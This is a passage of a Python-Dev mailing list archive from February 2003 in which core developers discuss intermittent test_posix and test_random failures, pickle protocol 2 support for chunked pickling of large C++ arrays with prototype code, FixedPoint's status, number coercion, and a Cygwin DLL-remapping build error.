test_posix, test_random failing Message-ID: <3E54BC9F.1050302@lemburg.com> My nightly cronjob has issued two warnings for the CVS checkout at 02:00 CET today: test test_posix failed -- Traceback (most recent call last): File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions posix_func() OSError: [Errno 25] Inappropriate ioctl for device The traceback is not very helpful I'm afraid and when I run the test by hand I can't reproduce it. test test_random failed -- Traceback (most recent call last): File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed self.assertNotEqual(state1, state2) File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual raise self.failureException, \ AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ... Again, I can't reproduce this one either. Now, these failures may be due to some quirk in my machine or hint to an intermittent problem with the above code. Anybody else see these ? -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 20 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 40 days left EuroPython 2003, Charleroi, Belgium: 124 days left From tim_one@email.msn.com Thu Feb 20 11:41:43 2003 From: tim_one@email.msn.com (Tim Peters) Date: Thu, 20 Feb 2003 06:41:43 -0500 Subject: [Python-Dev] What happened to fixed point? In-Reply-To: Message-ID: ;David LeBlanc] > I was told that FixedPoint had a sponsor (if that's the right > word) for 2.3. > Did it not make it or did it just not get mentioned in the > release notes for a2? It's not in 2.3a2. I assume Raymond couldn't make time for it. I tried to, but didn't get beyond submitting a doc patch to the SF fixedpoint project. Staring at the code there, it became clear to me that it would consume more time than I thought it would to finish it (e.g., the proliferation of gimmicks to play with subclasses wasn't in the original, and offhand struck me as a wrong thing to do; the mechanism for changing rounding mode also seemed as thread-hostile as anything could be; and I still don't have time to argue about it). At this point, given that it would consume real time to finish, if I had that time I'd rather devote it to moving Aahz's project along for 2.4. From rwgk@yahoo.com Thu Feb 20 12:38:58 2003 From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve) Date: Thu, 20 Feb 2003 04:38:58 -0800 (PST) Subject: [Python-Dev] pickling of large arrays Message-ID: <20030220123859.73371.qmail@web20206.mail.yahoo.com> This is question is related to PEP 307, "Extensions to the pickle protocol", http://www.python.org/peps/pep-0307.html . Apparently the new Pickle "protocol 2" provides a mechanism for avoiding large temporaries, but only for lists and dicts (section "Pickling of large lists and dicts" near the end). I am wondering if the new protocol could also help us to eliminate large temporaries when pickling Boost.Python extension classes. We wrote an open source C++ array library with Boost.Python bindings. For pickling we use the __getstate__, __setstate__ protocol. As it stands pickling involves converting the arrays to Python strings, similar to what is done in Numpy. There are two mechanisms: 1. "single buffered": For numeric types (int, long, double, etc.) a Python string is allocated based on an upper estimate for the required size (PyString_FromStringAndSize). The entire numeric array is converted directly to that string. Finally the Python string is resized (_PyString_Resize). With this mechanism there are 2 copies of the array in memory: - the original array and - the Python string. 2. "double buffered": For some user-defined element types it is very difficult to estimate an upper limit for the size of the string representation. Therefore the array is first converted to a dynamically growing C++ std::string, which is then copied to a Python string. With this mechanism there are 3 copies of the array in memory: - the original array, - the std::string, and - the Python string. For very large arrays the memory overhead can be a limiting factor. Could the new protocol 2 help us in some way? Thank you in advance, Ralf __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From guido@python.org Thu Feb 20 13:03:40 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 08:03:40 -0500 Subject: [Python-Dev] test_posix, test_random failing In-Reply-To: "Your message of Thu, 20 Feb 2003 12:31:43 +0100." <3E54BC9F.1050302@lemburg.com> References: <3E54BC9F.1050302@lemburg.com> Message-ID: <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net> > My nightly cronjob has issued two warnings for the CVS checkout > at 02:00 CET today: > > test test_posix failed -- Traceback (most recent call last): > File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions > posix_func() > OSError: [Errno 25] Inappropriate ioctl for device > > The traceback is not very helpful I'm afraid and when I run the > test by hand I can't reproduce it. Try running the test from a cron job without regrtest (i.e. ./python Lib/test/test_posix.py), and putting some extra prints in it. Some of the functions tested (e.g. ctermid, getlogin) use stdin to determine who is logged in. Maybe these should just be ignored if they fail with this specific error (since the error means they're working as advertised). > test test_random failed -- Traceback (most recent call last): > File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed > self.assertNotEqual(state1, state2) > File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual > raise self.failureException, \ > AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ... This one I don't understand. Maybe the sleep(1) in the test isn't long enough? --Guido van Rossum (home page: http://www.python.org/~guido/) From xscottg@yahoo.com Thu Feb 20 13:58:18 2003 From: xscottg@yahoo.com (Scott Gilbert) Date: Thu, 20 Feb 2003 05:58:18 -0800 (PST) Subject: [Python-Dev] pickling of large arrays In-Reply-To: <20030220123859.73371.qmail@web20206.mail.yahoo.com> Message-ID: <20030220135818.55067.qmail@web40105.mail.yahoo.com> --- "Ralf W. Grosse-Kunstleve" wrote: > This is question is related to PEP 307, "Extensions to the pickle > protocol", > http://www.python.org/peps/pep-0307.html . > > Apparently the new Pickle "protocol 2" provides a mechanism for > avoiding large temporaries, but only for lists and dicts (section > "Pickling of large lists and dicts" near the end). I am wondering if > the new protocol could also help us to eliminate large temporaries when > pickling Boost.Python extension classes. > > We wrote an open source C++ array library with Boost.Python bindings. > For pickling we use the __getstate__, __setstate__ protocol. As it > stands pickling involves converting the arrays to Python strings, > similar to what is done in Numpy. There are two mechanisms: > > 1. "single buffered": > > For numeric types (int, long, double, etc.) a Python string is > allocated based on an upper estimate for the required size > (PyString_FromStringAndSize). The entire numeric array is converted > directly to that string. Finally the Python string is resized > (_PyString_Resize). > With this mechanism there are 2 copies of the array in memory: > - the original array and > - the Python string. > > 2. "double buffered": > > For some user-defined element types it is very difficult to estimate > an upper limit for the size of the string representation. Therefore > the array is first converted to a dynamically growing C++ > std::string, which is then copied to a Python string. > With this mechanism there are 3 copies of the array in memory: > - the original array, > - the std::string, and > - the Python string. > > For very large arrays the memory overhead can be a limiting factor. > Could the new protocol 2 help us in some way? > I hadn't seen this PEP yet. Very nice. I don't know how to solve your second case with it, but it looks like you could solve your first case with very little overhead: Have your __reduce__ method return a 4-tuple (function, arguments, state, listitems) with: function = a constructing function that takes the length of your array in bytes, and the type of the data in the array arguments = a 2-tuple specifying the bytes and type state = None listitems = an iterator that returns small chunks of memory at a time. For instance have it generate your array with 1K or 8K strings at a time. This strategy should avoid having to "double buffer" your array when pickling. The overhead would be the 1 or 8 K that would presumably be reused multiple times while pickling a large array. Your multi-megabyte original array would never have to be copied all at once. For unpickling, you'd have your constructor function allocate all the space in one go, and make the semantics of your append() or extend() method do the right thing. I've been gone for a while, is this PEP going to be included in the final version of 2.3? __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From xscottg@yahoo.com Thu Feb 20 14:03:14 2003 From: xscottg@yahoo.com (Scott Gilbert) Date: Thu, 20 Feb 2003 06:03:14 -0800 (PST) Subject: [Python-Dev] pickling of large arrays In-Reply-To: <20030220135818.55067.qmail@web40105.mail.yahoo.com> Message-ID: <20030220140314.32897.qmail@web40102.mail.yahoo.com> --- Scott Gilbert wrote: > > I've been gone for a while, is this PEP going to be included in the final > version of 2.3? > Don't answer that, I just saw the notice for 2.3a2... :-) __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From mal@lemburg.com Thu Feb 20 14:06:36 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 20 Feb 2003 15:06:36 +0100 Subject: [Python-Dev] test_posix, test_random failing In-Reply-To: <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net> References: <3E54BC9F.1050302@lemburg.com> <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E54E0EC.2020202@lemburg.com> Guido van Rossum wrote: >>My nightly cronjob has issued two warnings for the CVS checkout >>at 02:00 CET today: >> >>test test_posix failed -- Traceback (most recent call last): >> File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions >> posix_func() >>OSError: [Errno 25] Inappropriate ioctl for device >> >>The traceback is not very helpful I'm afraid and when I run the >>test by hand I can't reproduce it. > > Try running the test from a cron job without regrtest (i.e. ./python > Lib/test/test_posix.py), and putting some extra prints in it. > > Some of the functions tested (e.g. ctermid, getlogin) use stdin to > determine who is logged in. Maybe these should just be ignored if > they fail with this specific error (since the error means they're > working as advertised). Ok, here's the output: testNoArgFunctions (__main__.PosixTester) ... Running function ctermid Running function getcwd Running function getcwdu Running function uname Running function times Running function getlogin ERROR Running function getloadavg Running function tmpnam Running function getegid Running function geteuid Running function getgid Running function getgroups Running function getpid Running function getpgrp Running function getppid Running function getuid ok Looks like getlogin doesn't like being run in non-interactive mode (ie. without a terminal). >>test test_random failed -- Traceback (most recent call last): >> File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed >> self.assertNotEqual(state1, state2) >> File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual >> raise self.failureException, \ >>AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ... > > > This one I don't understand. Maybe the sleep(1) in the test isn't > long enough? I could not reproduce this, but perhaps using long(time.time()*256) isn't safe enough to produce different states in the WH-generator ?! I'd add a counter or hash the previous stored state to add some more noise. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 20 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 40 days left EuroPython 2003, Charleroi, Belgium: 124 days left From guido@python.org Thu Feb 20 14:30:42 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 09:30:42 -0500 Subject: [Python-Dev] test_posix, test_random failing In-Reply-To: Your message of "Thu, 20 Feb 2003 15:06:36 +0100." <3E54E0EC.2020202@lemburg.com> References: <3E54BC9F.1050302@lemburg.com> <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net> <3E54E0EC.2020202@lemburg.com> Message-ID: <200302201430.h1KEUhg06362@odiug.zope.com> I suggesting making to SF tracker items for this now. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 20 14:37:35 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 09:37:35 -0500 Subject: [Python-Dev] pickling of large arrays In-Reply-To: Your message of "Thu, 20 Feb 2003 04:38:58 PST." <20030220123859.73371.qmail@web20206.mail.yahoo.com> References: <20030220123859.73371.qmail@web20206.mail.yahoo.com> Message-ID: <200302201437.h1KEbaY06416@odiug.zope.com> > This is question is related to PEP 307, "Extensions to the pickle protocol", > http://www.python.org/peps/pep-0307.html . > > Apparently the new Pickle "protocol 2" provides a mechanism for > avoiding large temporaries, but only for lists and dicts (section > "Pickling of large lists and dicts" near the end). I am wondering if > the new protocol could also help us to eliminate large temporaries when > pickling Boost.Python extension classes. > > We wrote an open source C++ array library with Boost.Python bindings. > For pickling we use the __getstate__, __setstate__ protocol. As it > stands pickling involves converting the arrays to Python strings, > similar to what is done in Numpy. There are two mechanisms: > > 1. "single buffered": > > For numeric types (int, long, double, etc.) a Python string is > allocated based on an upper estimate for the required size > (PyString_FromStringAndSize). The entire numeric array is converted > directly to that string. Finally the Python string is resized > (_PyString_Resize). > With this mechanism there are 2 copies of the array in memory: > - the original array and > - the Python string. > > 2. "double buffered": > > For some user-defined element types it is very difficult to estimate > an upper limit for the size of the string representation. Therefore > the array is first converted to a dynamically growing C++ > std::string, which is then copied to a Python string. > With this mechanism there are 3 copies of the array in memory: > - the original array, > - the std::string, and > - the Python string. > > For very large arrays the memory overhead can be a limiting factor. > Could the new protocol 2 help us in some way? Probably, if you can switch from __getstate__ to __reduce__. __reduce__ can return a tuple of up to 5 items now; the last two are iterators (one for list-ish types, one for dict-ish types). If you return an iterator that iterates over all the pieces of your array, the array will be reconstituted at the other end using repeated calls to obj.extend() or obj.append(). There's no need to derive from list for this to work, all you need is methods extend() and append(). --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Thu Feb 20 14:59:10 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 20 Feb 2003 15:59:10 +0100 Subject: [Python-Dev] test_posix, test_random failing In-Reply-To: <200302201430.h1KEUhg06362@odiug.zope.com> References: <3E54BC9F.1050302@lemburg.com> <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net> <3E54E0EC.2020202@lemburg.com> <200302201430.h1KEUhg06362@odiug.zope.com> Message-ID: <3E54ED3E.7070102@lemburg.com> Guido van Rossum wrote: > I suggesting making to SF tracker items for this now. Done. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 20 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 40 days left EuroPython 2003, Charleroi, Belgium: 124 days left From rwgk@yahoo.com Thu Feb 20 15:05:29 2003 From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve) Date: Thu, 20 Feb 2003 07:05:29 -0800 (PST) Subject: [Python-Dev] pickling of large arrays In-Reply-To: <20030220135818.55067.qmail@web40105.mail.yahoo.com> Message-ID: <20030220150529.856.qmail@web20203.mail.yahoo.com> --- Scott Gilbert wrote: > Have your __reduce__ method return a 4-tuple (function, arguments, state, > listitems) with: > > function = a constructing function that takes the length of your array in > bytes, and the type of the data in the array > > arguments = a 2-tuple specifying the bytes and type > > state = None > > listitems = an iterator that returns small chunks of memory at a time. Hey, this is great! I am beginning to see the light. > I've been gone for a while, is this PEP going to be included in the final > version of 2.3? My little prototype below works with Python 2.3a2! This is almost perfect. In C++ we can have two overloads. Highly simplified: template class array { void append(T const& value); // the regular append void append(std::string const& value); // for unpickling }; This will work for all T (e.g. int, float, etc.) ... except T == std::string. This leads me to find it unfortunate that append() is re-used for unpickling. How about: If the object has a (say) __unpickle_append__ method this is used by the unpickler instead of append or extend. Ralf import pickle class int_array(object): def __init__(self, elems): self.elems = list(elems) def __reduce__(self): return (int_array_factory, (len(self.elems),), None, int_array_iter(self.elems)) def append(self, value): values = [int(x) for x in value.split(",")] self.elems.extend(values) class int_array_iter(object): def __init__(self, elems, buf_size=4): self.elems = elems self.buf_size = 4 self.i = 0 def __iter__(self): return self def next(self): if (self.i >= len(self.elems)): raise StopIteration result = "" for i in xrange(self.buf_size): result+= str(self.elems[self.i]) + "," self.i += 1 if (self.i == len(self.elems)): break return result[:-1] def int_array_factory(size): print "reserve:", size return int_array([]) f = int_array(range(11)) print "f.elems:", f.elems s = pickle.dumps(f) print s g = pickle.loads(s) print "g.elems:", g.elems __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From python@rcn.com Thu Feb 20 15:13:58 2003 From: python@rcn.com (Raymond Hettinger) Date: Thu, 20 Feb 2003 10:13:58 -0500 Subject: [Python-Dev] What happened to fixed point? References: Message-ID: <003d01c2d8f2$b5285600$550fa044@oemcomputer> > > I was told that FixedPoint had a sponsor (if that's the right > > word) for 2.3. > > Did it not make it or did it just not get mentioned in the > > release notes for a2? > > It's not in 2.3a2. I assume Raymond couldn't make time for it. I ran out of time before 2.3a2 but expect to get to it in this week. Raymond Hettinger From xscottg@yahoo.com Thu Feb 20 15:53:12 2003 From: xscottg@yahoo.com (Scott Gilbert) Date: Thu, 20 Feb 2003 07:53:12 -0800 (PST) Subject: [Python-Dev] pickling of large arrays In-Reply-To: <20030220150529.856.qmail@web20203.mail.yahoo.com> Message-ID: <20030220155312.86379.qmail@web40106.mail.yahoo.com> --- "Ralf W. Grosse-Kunstleve" wrote: > > This leads me to find it unfortunate that append() is re-used for > unpickling. How about: > > If the object has a (say) __unpickle_append__ method this is used by > the unpickler instead of append or extend. > I agree with you here, but I'll take what I can get. I would vote for __extend__(x) if the ballot came up and I was permitted to vote. __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From tim.one@comcast.net Thu Feb 20 17:02:19 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 20 Feb 2003 12:02:19 -0500 Subject: [Python-Dev] pickling of large arrays In-Reply-To: <20030220150529.856.qmail@web20203.mail.yahoo.com> Message-ID: [Ralf W. Grosse-Kunstleve] > ... > My little prototype below works with Python 2.3a2! > > This is almost perfect. In C++ we can have two overloads. > Highly simplified: > > template > class array { > void append(T const& value); // the regular append > void append(std::string const& value); // for unpickling > }; > > This will work for all T (e.g. int, float, etc.) > ... except T == std::string. > > This leads me to find it unfortunate that append() is re-used for > unpickling. append() has always been used for unpickling (well, since pickle came into existence; "always" is an overstatement ). > How about: > > If the object has a (say) __unpickle_append__ method this is used by > the unpickler instead of append or extend. This is the implementation of the APPEND opcode (from pickle.py): def load_append(self): stack = self.stack value = stack.pop() list = stack[-1] list.append(value) It's called once per list element, and clogging it up with hasattr()/getattr() calls would greatly increase its cost (as is, it does very little, and especially not in cPickle where all those now-usually-trivial operations go at C speed). So it's unlikely you're going to get a change in what the proto 0 APPEND (which calls append()) and proto 1 APPENDS (which calls extend()) opcodes do. Adding brand new opcodes is still possible, but I doubt it's possible for Guido or me to do the work. > ... > f = int_array(range(11)) > print "f.elems:", f.elems > s = pickle.dumps(f) Note that this is creating a text-mode ("protocol 0") pickle, which is less efficient than proto 1, which in turn is less effiecient than proto 2. That's your choice, just want to be sure you're aware you're making a choice. For backward compatibility, proto 0 has to remain the default. From dave@boost-consulting.com Thu Feb 20 14:36:01 2003 From: dave@boost-consulting.com (David Abrahams) Date: Thu, 20 Feb 2003 09:36:01 -0500 Subject: [Python-Dev] Cygwin build failing Message-ID: If nobody knows the cure for this, please consider it a bug report. Thanks, ------ $ ./configure --with-prefix=/usr/local/pydebug --with-pydebug $ make ... gcc -shared -Wl,--enable-auto-image-base build/temp.cygwin-1.3.19-i686-2.2/socketmodule.o -L/usr/local/lib -L. -lssl -lc rypto -lpython2.2 -o build/lib.cygwin-1.3.19-i686-2.2/_socket.dll building 'gdbm' extension gcc -g -Wall -Wstrict-prototypes -DUSE_DL_IMPORT -I. -I/cygdrive/c/tools/Python-2.2.2/./Include -I/usr/local/include -I/ cygdrive/c/tools/Python-2.2.2/Include -I/cygdrive/c/tools/Python-2.2.2 -c /cygdrive/c/tools/Python-2.2.2/Modules/gdbmmod ule.c -o build/temp.cygwin-1.3.19-i686-2.2/gdbmmodule.o c:\tools\Python-2.2.2\python.exe: *** unable to remap C:\cygwin\bin\cygssl-0.9.7.dll to same address as parent(0xF80000) != 0xF90000 7 [main] python 1000 sync_with_child: child 1316(0x618) died before initialization with status code 0x1 234 [main] python 1000 sync_with_child: *** child state child loading dlls error: Resource temporarily unavailable [20408 refs] make: *** [sharedmods] Error 1 ------ -- Dave Abrahams Boost Consulting www.boost-consulting.com From tim.one@comcast.net Thu Feb 20 17:24:50 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 20 Feb 2003 12:24:50 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <3E53BD08.80900@lemburg.com> Message-ID: [M.-A. Lemburg] > Isn't that caveat in the complex implementation ? Converting a > complex with 0 img part would not cause any loss of information > (apart from the usual integer truncations ;-) Hmm. Have you ever met a coercion you didn't like <0.9 wink>? float(complex) also raises an exception unconditionally, and I think for good reasons -- what someone *intends* by trying to convert a complex number to a float or an int is a mystery. The exceptions raised suggest one plausible intent and how to get at it clearly: >>> float(1+0j) Traceback (most recent call last): File "", line 1, in ? TypeError: can't convert complex to float; use e.g. abs(z) >>> From mal@lemburg.com Thu Feb 20 17:59:26 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 20 Feb 2003 18:59:26 +0100 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: References: Message-ID: <3E55177E.9080107@lemburg.com> Tim Peters wrote: > [M.-A. Lemburg] > >>Isn't that caveat in the complex implementation ? Converting a >>complex with 0 img part would not cause any loss of information >>(apart from the usual integer truncations ;-) > > Hmm. Have you ever met a coercion you didn't like <0.9 wink>? I'd even coerce strings to floats if possible ;-) BTW, I implemented that in mxNumber for the fun of it: >>> from mx.Number import * >>> Float(1.23) + '3.45' 4.67999999999999998223e+0 >>> Rational(2,3) + '3/4' 17/12 Seriously, the above was only meant as hint to not rely on nb_negative for PyNumber_Check(), but to use nb_int for this. After all, code using PyNumber_Check() will expect that at least PyNumber_Int() to work on the object. If you check for nb_negative, this will not always work, since then complex objects would get accepted. > float(complex) also raises an exception unconditionally, and I think for > good reasons -- what someone *intends* by trying to convert a complex number > to a float or an int is a mystery. The exceptions raised suggest one > plausible intent and how to get at it clearly: > >>>>float(1+0j) > > Traceback (most recent call last): > File "", line 1, in ? > TypeError: can't convert complex to float; use e.g. abs(z) I know :-) -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 20 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 40 days left EuroPython 2003, Charleroi, Belgium: 124 days left From rwgk@yahoo.com Thu Feb 20 18:02:01 2003 From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve) Date: Thu, 20 Feb 2003 10:02:01 -0800 (PST) Subject: [Python-Dev] pickling of large arrays In-Reply-To: Message-ID: <20030220180201.43079.qmail@web20206.mail.yahoo.com> --- Tim Peters wrote: > So it's unlikely you're going to get a change in what the proto 0 APPEND > (which calls append()) and proto 1 APPENDS (which calls extend()) opcodes > do. Adding brand new opcodes is still possible, but I doubt it's possible > for Guido or me to do the work. Sounds like a chance for plan B: a thin wrapper around a Python string. Called "pickle_string" in the revised prototype below. Ruling out the possibility that users want to create C++ arrays of Python pickle_strings this will work for all types. Creating a trivial type like pickle_string is a snag with Boost.Python. But I am guessing that the Numarray people must hate it, unless they have another simple work-around. I believe the brand new opcode is the better long-term solution for the community. I'd be willing to invest a little time if others are also interested and willing to help. Ralf import pickle class pickle_string(object): def __init__(self, size): self.size = size # here we allocate the string self.string = "" # this will be a reference to the Python string object # the C++ implementation will write directly into the string contained here def __getstate__(self): return self.string # return a reference def __setstate__(self, state): self.string = state # copy a reference class int_array(object): def __init__(self, elems): self.elems = list(elems) def __reduce__(self): return (int_array_factory, (len(self.elems),), None, int_array_iter(self.elems)) def append(self, value): if (type(value) == type(pickle_string(0))): values = [int(x) for x in value.string.split(",")] self.elems.extend(values) else: self.elems.append(value) class int_array_iter(object): def __init__(self, elems, buf_size=4): self.elems = elems self.buf_size = 4 self.i = 0 def __iter__(self): return self def next(self): if (self.i >= len(self.elems)): raise StopIteration result = pickle_string(123) for i in xrange(self.buf_size): result.string += str(self.elems[self.i]) + "," self.i += 1 if (self.i == len(self.elems)): break result.string = result.string[:-1] return result def int_array_factory(size): print "reserve:", size return int_array([]) f = int_array(range(11)) f.append(13) print "f.elems:", f.elems s = pickle.dumps(f) print s g = pickle.loads(s) print "g.elems:", g.elems __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From jason@tishler.net Thu Feb 20 18:24:08 2003 From: jason@tishler.net (Jason Tishler) Date: Thu, 20 Feb 2003 13:24:08 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: References: Message-ID: <20030220182408.GA2348@tishler.net> Dave, On Thu, Feb 20, 2003 at 09:36:01AM -0500, David Abrahams wrote: > If nobody knows the cure for this, I do, see below... > please consider it a bug report. In the future, please use SourceForge for bug reports: http://sf.net/projects/python/ > $ ./configure --with-prefix=/usr/local/pydebug --with-pydebug > [snip] > $ make > [snip] > c:\tools\Python-2.2.2\python.exe: *** unable to remap C:\cygwin\bin\cygssl-0.9.7.dll to same address as parent(0xF80000) > != 0xF90000 > 7 [main] python 1000 sync_with_child: child 1316(0x618) died before initialization with status code 0x1 > 234 [main] python 1000 sync_with_child: *** child state child loading dlls > error: Resource temporarily unavailable The above should not occur with my patched Python 2.2.2 source: http://sf.net/tracker/?group_id=5470&atid=305470&func=detail&aid=491107 If you are using the stock Python 2.2.2 source, then please use a copy of my pre-patched source available on any Cygwin mirror, for example: http://mirrors.rcn.net/pub/sourceware/cygwin/release/python/python-2.2.2-5-src.tar.bz2 or build from CVS. Additionally, I recommend rebasing your system: http://cygwin.com/ml/cygwin-announce/2003-02/msg00025.html Jason -- PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers Fingerprint: 7A73 1405 7F2B E669 C19D 8784 1AFD E4CC ECF4 8EF6 From guido@python.org Thu Feb 20 18:24:56 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 20 Feb 2003 13:24:56 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: Your message of "Thu, 20 Feb 2003 09:36:01 EST." References: Message-ID: <200302201824.h1KIOvu07067@odiug.zope.com> > From: David Abrahams > > If nobody knows the cure for this, please consider it a bug report. You've been reading python-dev long enough to know that no bug is reported unless it's been reported to SF. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Thu Feb 20 18:47:50 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 20 Feb 2003 13:47:50 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <3E55177E.9080107@lemburg.com> Message-ID: [M.-A. Lemburg] > I'd even coerce strings to floats if possible ;-) > > BTW, I implemented that in mxNumber for the fun of it: > >>> from mx.Number import * > >>> Float(1.23) + '3.45' > 4.67999999999999998223e+0 > >>> Rational(2,3) + '3/4' > 17/12 FixedPoint does a similar thing, coercing strings to FixedPoints by magic. The lack of a native literal notation for FixedPoints (and rationals) makes that more attractive than it should be . > Seriously, the above was only meant as hint to not rely on > nb_negative for PyNumber_Check(), but to use nb_int > for this. After all, code using PyNumber_Check() will expect that > at least PyNumber_Int() to work on the object. If you check > for nb_negative, this will not always work, since then complex objects > would get accepted. Reality check: PyNumber_Check() checks for nb_int or nb_float now, and complex numbers have both slots, but both raise TypeError unconditionally. So if you believe that PyNumber_Check()'s caller expects PyNumber_Int() to work, then PyNumber_Check() is already broken in your view. My view is that a complex is a number whether or not it can be coerced to some other type, but that complex is passing PyNumber_Check() more by accident than by design now. nb_negative seems a sharper check to me. From dave@boost-consulting.com Thu Feb 20 19:08:25 2003 From: dave@boost-consulting.com (David Abrahams) Date: Thu, 20 Feb 2003 14:08:25 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: <200302201824.h1KIOvu07067@odiug.zope.com> (Guido van Rossum's message of "Thu, 20 Feb 2003 13:24:56 -0500") References: <200302201824.h1KIOvu07067@odiug.zope.com> Message-ID: Guido van Rossum writes: >> From: David Abrahams >> >> If nobody knows the cure for this, please consider it a bug report. > > You've been reading python-dev long enough to know that no bug is > reported unless it's been reported to SF. Sorry; I thought it was probably something with a known cure, and I didn't think a SF bug report would raise a quick answer. Of course if I didn't hear from Jason I'd have put it up on SF. -- Dave Abrahams Boost Consulting www.boost-consulting.com From dave@boost-consulting.com Thu Feb 20 19:13:06 2003 From: dave@boost-consulting.com (David Abrahams) Date: Thu, 20 Feb 2003 14:13:06 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: <20030220182408.GA2348@tishler.net> (Jason Tishler's message of "Thu, 20 Feb 2003 13:24:08 -0500") References: <20030220182408.GA2348@tishler.net> Message-ID: Jason Tishler writes: > If you are using the stock Python 2.2.2 source, then please use a copy > of my pre-patched source available on any Cygwin mirror, for example: > > http://mirrors.rcn.net/pub/sourceware/cygwin/release/python/python-2.2.2-5-src.tar.bz2 > > or build from CVS. Thanks! > Additionally, I recommend rebasing your system: > > http://cygwin.com/ml/cygwin-announce/2003-02/msg00025.html Hmm... $ rebaseall ReBaseImage (/usr/bin/cygcrypto-0.9.7.dll) failed with last error = 6 -- Dave Abrahams Boost Consulting www.boost-consulting.com From jason@tishler.net Thu Feb 20 19:23:00 2003 From: jason@tishler.net (Jason Tishler) Date: Thu, 20 Feb 2003 14:23:00 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: References: <200302201824.h1KIOvu07067@odiug.zope.com> Message-ID: <20030220192300.GG2348@tishler.net> David, On Thu, Feb 20, 2003 at 02:08:25PM -0500, David Abrahams wrote: > Guido van Rossum writes: > >> From: David Abrahams > >> If nobody knows the cure for this, please consider it a bug report. > > > > You've been reading python-dev long enough to know that no bug is > > reported unless it's been reported to SF. > > Sorry; I thought it was probably something with a known cure, and I > didn't think a SF bug report would raise a quick answer. Of course if > I didn't hear from Jason I'd have put it up on SF. Why not create a SF bug report and assign it to me (i.e., jlt63) next time? Jason -- PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers Fingerprint: 7A73 1405 7F2B E669 C19D 8784 1AFD E4CC ECF4 8EF6 From dave@boost-consulting.com Thu Feb 20 19:22:15 2003 From: dave@boost-consulting.com (David Abrahams) Date: Thu, 20 Feb 2003 14:22:15 -0500 Subject: [Python-Dev] Cygwin build failing In-Reply-To: <20030220192300.GG2348@tishler.net> (Jason Tishler's message of "Thu, 20 Feb 2003 14:23:00 -0500") References: 